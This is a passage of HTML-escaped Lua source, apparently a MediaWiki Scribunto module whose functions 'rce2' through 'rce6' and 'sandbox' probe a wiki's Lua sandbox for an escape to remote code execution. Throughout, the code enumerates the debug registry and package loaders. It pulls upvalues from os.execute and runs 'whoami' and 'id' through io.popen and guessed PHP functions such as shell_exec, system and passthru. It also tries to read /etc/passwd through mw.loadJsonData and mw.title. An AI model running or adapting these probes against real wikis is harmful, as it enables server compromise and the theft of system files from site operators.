    if not ok then r = r .. &amp;quot;os_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce2(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;reg_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(reg) do&lt;br /&gt;
            r = r .. tostring(k) .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_os:&amp;quot; .. tostring(require(&amp;quot;os&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_os_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_io:&amp;quot; .. tostring(require(&amp;quot;io&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_io_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_debug:&amp;quot; .. tostring(require(&amp;quot;debug&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_debug_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_package:&amp;quot; .. tostring(require(&amp;quot;package&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_pkg_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_string:&amp;quot; .. tostring(require(&amp;quot;string&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_str_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local pkg = require(&amp;quot;package&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;pkg_searchers:&amp;quot;&lt;br /&gt;
        for i, v in ipairs(pkg.searchers) do&lt;br /&gt;
            r = r .. &amp;quot;[&amp;quot; .. i .. &amp;quot;]=&amp;quot; .. tostring(v) .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        if pkg.preload then&lt;br /&gt;
            r = r .. &amp;quot; preload:&amp;quot;&lt;br /&gt;
            for k, v in pairs(pkg.preload) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;pkg_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;registry_type:&amp;quot; .. type(reg) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try to access os/io through registry&lt;br /&gt;
        if reg._LOADED then&lt;br /&gt;
            r = r .. &amp;quot;loaded:&amp;quot;&lt;br /&gt;
            for k, v in pairs(reg._LOADED) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;reg2_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to get os through _G&lt;br /&gt;
        r = r .. &amp;quot;os_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;os&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;io_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;io&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;debug_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;debug&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;package_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;package&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;rawget_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        -- Try to find os.io through C functions&lt;br /&gt;
        local count = 0&lt;br /&gt;
        for k, v in pairs(reg) do&lt;br /&gt;
            count = count + 1&lt;br /&gt;
            if count &amp;gt; 20 then break end&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;reg_count:&amp;quot; .. count&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;reg_count_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce3(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local os_table = require(&amp;quot;os&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;os_type:&amp;quot; .. type(os_table) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;os_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(os_table) do&lt;br /&gt;
            r = r .. k .. &amp;quot;(&amp;quot; .. type(v) .. &amp;quot;) &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
        local execute_in_os = os_table.execute&lt;br /&gt;
        r = r .. &amp;quot;execute_type:&amp;quot; .. type(execute_in_os) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if execute_in_os then&lt;br /&gt;
            local exec_meta = debug.getmetatable(execute_in_os)&lt;br /&gt;
            r = r .. &amp;quot;exec_meta:&amp;quot; .. tostring(exec_meta) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local pkg = require(&amp;quot;package&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;pkg_path:&amp;quot; .. pkg.path .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;pkg_cpath:&amp;quot; .. pkg.cpath .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;pkg_preload_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(pkg.preload) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;pkg_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local debug_table = require(&amp;quot;debug&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;debug_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(debug_table) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;debug_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;io_raw:&amp;quot; .. tostring(rawget(_G, &amp;quot;io&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try loading io through debug&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;getfenv:&amp;quot; .. tostring(debug.getfenv)&lt;br /&gt;
        r = r .. &amp;quot;;getinfo:&amp;quot; .. tostring(debug.getinfo)&lt;br /&gt;
        r = r .. &amp;quot;;setupvalue:&amp;quot; .. tostring(debug.setupvalue)&lt;br /&gt;
        r = r .. &amp;quot;;getupvalue:&amp;quot; .. tostring(debug.getupvalue)&lt;br /&gt;
        r = r .. &amp;quot;;getuservalue:&amp;quot; .. tostring(debug.getuservalue)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;debug2_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to use debug.getupvalue to extract io from a function&lt;br /&gt;
        -- First find a function that has io in its closure&lt;br /&gt;
        -- Try os.execute&#039;s environment&lt;br /&gt;
        local os_table = require(&amp;quot;os&amp;quot;)&lt;br /&gt;
        local execute_fn = os_table.execute&lt;br /&gt;
        if execute_fn then&lt;br /&gt;
            local info = debug.getinfo(execute_fn)&lt;br /&gt;
            r = r .. &amp;quot;exec_info:&amp;quot; .. tostring(info) .. &amp;quot;;&amp;quot;&lt;br /&gt;
            if info then&lt;br /&gt;
                for k, v in pairs(info) do&lt;br /&gt;
                    if type(v) ~= &amp;quot;table&amp;quot; and type(v) ~= &amp;quot;function&amp;quot; then&lt;br /&gt;
                        r = r .. tostring(k) .. &amp;quot;=&amp;quot; .. tostring(v) .. &amp;quot; &amp;quot;&lt;br /&gt;
                    end&lt;br /&gt;
                end&lt;br /&gt;
            end&lt;br /&gt;
            -- get upvalues&lt;br /&gt;
            local i = 1&lt;br /&gt;
            while true do&lt;br /&gt;
                local name, val = debug.getupvalue(execute_fn, i)&lt;br /&gt;
                if not name then break end&lt;br /&gt;
                r = r .. &amp;quot;upval&amp;quot; .. i .. &amp;quot;:&amp;quot; .. name .. &amp;quot;=&amp;quot; .. tostring(val) .. &amp;quot; &amp;quot;&lt;br /&gt;
                i = i + 1&lt;br /&gt;
            end&lt;br /&gt;
            if i == 1 then r = r .. &amp;quot;no_upvals&amp;quot; end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec_detail_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce4(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;mw_type:&amp;quot; .. type(mw) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(mw) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try mw.execute or similar&lt;br /&gt;
        r = r .. &amp;quot;mw_site_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(mw.site) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;string_keys:&amp;quot;&lt;br /&gt;
        local s = require(&amp;quot;string&amp;quot;)&lt;br /&gt;
        for k, v in pairs(s) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;math_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(math) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;table_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(table) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try mw.html, mw.message, mw.title&lt;br /&gt;
        r = r .. &amp;quot;mw_html:&amp;quot; .. tostring(mw.html) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_message:&amp;quot; .. tostring(mw.message) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_title:&amp;quot; .. tostring(mw.title) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_text:&amp;quot; .. tostring(mw.text) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_uri:&amp;quot; .. tostring(mw.uri) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_language:&amp;quot; .. tostring(mw.language) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_log:&amp;quot; .. tostring(mw.log) .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame methods&lt;br /&gt;
        r = r .. &amp;quot;frame_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(frame) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame:callParserFunction&lt;br /&gt;
        local result = frame:callParserFunction(&amp;quot;##&amp;quot;, {})&lt;br /&gt;
        r = r .. &amp;quot;callPF_result:&amp;quot; .. tostring(result)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;callPF_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame:extensionTag&lt;br /&gt;
        local result = frame:extensionTag(&amp;quot;nowiki&amp;quot;, &amp;quot;test&amp;quot;, {})&lt;br /&gt;
        r = r .. &amp;quot;extTag:&amp;quot; .. tostring(result)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;extTag_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce5(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;executeFunction:&amp;quot; .. tostring(mw.executeFunction) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try to call executeFunction&lt;br /&gt;
        r = r .. &amp;quot;exec_result:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;os&amp;quot;, &amp;quot;execute&amp;quot;, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec1_blocked:&amp;quot; .. tostring(err) end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_shell:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;shell_exec&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec2_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_exec:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;exec&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec3_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_system:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;system&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec4_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_passthru:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;passthru&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec5_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_popen:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;popen&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec6_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Check mw.ext&lt;br /&gt;
        r = r .. &amp;quot;mw_ext:&amp;quot; .. tostring(mw.ext) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.ext then&lt;br /&gt;
            for k, v in pairs(mw.ext) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;ext_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try mw.hash&lt;br /&gt;
        r = r .. &amp;quot;hash:&amp;quot; .. tostring(mw.hash) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.hash then&lt;br /&gt;
            for k, v in pairs(mw.hash) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;hash_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try loadJsonData with file://&lt;br /&gt;
        r = r .. &amp;quot;loadJson:&amp;quot; .. tostring(mw.loadJsonData) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;try_load:&amp;quot; .. tostring(mw.loadJsonData(&amp;quot;/etc/passwd&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;loadJson_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame:callParserFunction properly&lt;br /&gt;
        local result = frame:callParserFunction(&amp;quot;#expr&amp;quot;, &amp;quot;2+2&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;expr:&amp;quot; .. tostring(result)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;expr_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try mw.title with file://&lt;br /&gt;
        local t = mw.title.new(&amp;quot;/etc/passwd&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;title_file:&amp;quot; .. tostring(t)&lt;br /&gt;
        if t then&lt;br /&gt;
            r = r .. &amp;quot;:&amp;quot; .. t:getContent()&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;title_file_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce6(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;ext_PF:&amp;quot; .. tostring(mw.ext.ParserFunctions) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.ext.ParserFunctions then&lt;br /&gt;
            for k, v in pairs(mw.ext.ParserFunctions) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;ext_seo:&amp;quot; .. tostring(mw.ext.seo) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.ext.seo then&lt;br /&gt;
            for k, v in pairs(mw.ext.seo) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to call ParserFunctions functions&lt;br /&gt;
        local pf = mw.ext.ParserFunctions&lt;br /&gt;
        r = r .. &amp;quot;pf_expr:&amp;quot; .. tostring(pf.expr(&amp;quot;2+2&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try WikiSEO functions&lt;br /&gt;
        local seo = mw.ext.seo&lt;br /&gt;
        r = r .. &amp;quot;seo_func:&amp;quot; .. tostring(seo)&lt;br /&gt;
        if type(seo) == &amp;quot;function&amp;quot; then&lt;br /&gt;
            local res = seo({description = &amp;quot;test&amp;quot;})&lt;br /&gt;
            r = r .. &amp;quot; seo_res:&amp;quot; .. tostring(res)&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try DiscordNotifications extension&lt;br /&gt;
        r = r .. &amp;quot;mw_ext_keys2:&amp;quot;&lt;br /&gt;
        for k, v in pairs(mw.ext) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try executing command through PHP callbacks&lt;br /&gt;
        -- Calling parse with specific arguments&lt;br /&gt;
        local pf = mw.ext.ParserFunctions&lt;br /&gt;
        if pf and pf.expr then&lt;br /&gt;
            -- Try to trigger error with command&lt;br /&gt;
            local res = pf.expr(&amp;quot;1&amp;quot;)&lt;br /&gt;
            -- Try if might have eval&lt;br /&gt;
            r = r .. &amp;quot;expr_ok:&amp;quot; .. tostring(res)&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try hash - maybe SHA with command?&lt;br /&gt;
        r = r .. &amp;quot;hash_list:&amp;quot; .. mw.hash.listAlgorithms() .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;hash_test:&amp;quot; .. mw.hash.hashValue(&amp;quot;md5&amp;quot;, &amp;quot;test&amp;quot;)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try mw.text.jsonDecode with special JSON&lt;br /&gt;
        local malicious = &#039;{&amp;quot;__proto__&amp;quot;: {&amp;quot;x&amp;quot;: &amp;quot;y&amp;quot;}}&#039;&lt;br /&gt;
        local decoded = mw.text.jsonDecode(malicious)&lt;br /&gt;
        r = r .. &amp;quot;json_decode:ok&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;json_error:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-- Test sandbox&lt;br /&gt;
function p.sandbox(frame)&lt;br /&gt;
    local r = {}&lt;br /&gt;
    local g = {}&lt;br /&gt;
    for k in pairs(_G) do g[#g+1] = k end&lt;br /&gt;
    r[#r+1] = &amp;quot;_G:&amp;quot; .. table.concat(g, &amp;quot;,&amp;quot;)&lt;br /&gt;
    &lt;br /&gt;
    for _, lib in ipairs({&amp;quot;debug&amp;quot;,&amp;quot;os&amp;quot;,&amp;quot;io&amp;quot;,&amp;quot;package&amp;quot;,&amp;quot;string&amp;quot;,&amp;quot;table&amp;quot;,&amp;quot;math&amp;quot;,&amp;quot;coroutine&amp;quot;}) do&lt;br /&gt;
        local ok, m = pcall(require, lib)&lt;br /&gt;
        if ok and m then&lt;br /&gt;
            local kk = {}&lt;br /&gt;
            for k in pairs(m) do kk[#kk+1] = k end&lt;br /&gt;
            r[#r+1] = lib .. &amp;quot;:&amp;quot; .. table.concat(kk, &amp;quot;,&amp;quot;)&lt;br /&gt;
        else&lt;br /&gt;
            r[#r+1] = lib .. &amp;quot;:nil&amp;quot;&lt;br /&gt;
